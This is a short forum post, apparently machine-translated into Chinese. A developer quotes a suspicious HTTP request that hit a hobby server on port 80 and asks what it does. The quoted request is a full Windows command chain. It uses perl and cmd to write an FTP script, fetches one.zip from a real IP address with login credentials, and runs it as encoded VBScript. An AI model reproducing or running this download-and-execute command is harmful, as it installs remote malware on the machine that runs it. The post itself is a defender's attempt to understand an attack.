前段时间我制作了一个像SETI @ home这样的小程序,以生成我正在工作的游戏等级。该程序有一个服务器和一个客户端。它们使用简单的协议在端口X上进行通信,当客户端在HTTP代理后面时,它们使用端口80。
打开端口80,我收到很多奇怪的HTTP请求。但是两天前我引起了我的注意:
{a few unreadable bytes that I dont know what they are}28{another byte}\perl.exe -esystem('cmd.exe /c echo open 222.91.160.59>f&echo 111>>f&echo qwe>>f&echo bin>>f&echo get one.zip>>f&echo bye>>f&ftp -s:f&cscript.exe /b /e:VBScript.Encode one.zip&del /f/q f&exit')
它创建一个登录文件,通过ftp连接到222.91.160.59,下载one.zip,断开连接,用VBScript.Encode编码并删除文件,对吗?
问题:
如果你想查看one.zip的开头,这里有一个PNG:Beginning of one.zip
我认为.zip扩展并不意味着它被压缩,作者只是放了一个随机扩展,因为它直接输入到VBScript:Encode。
谢谢!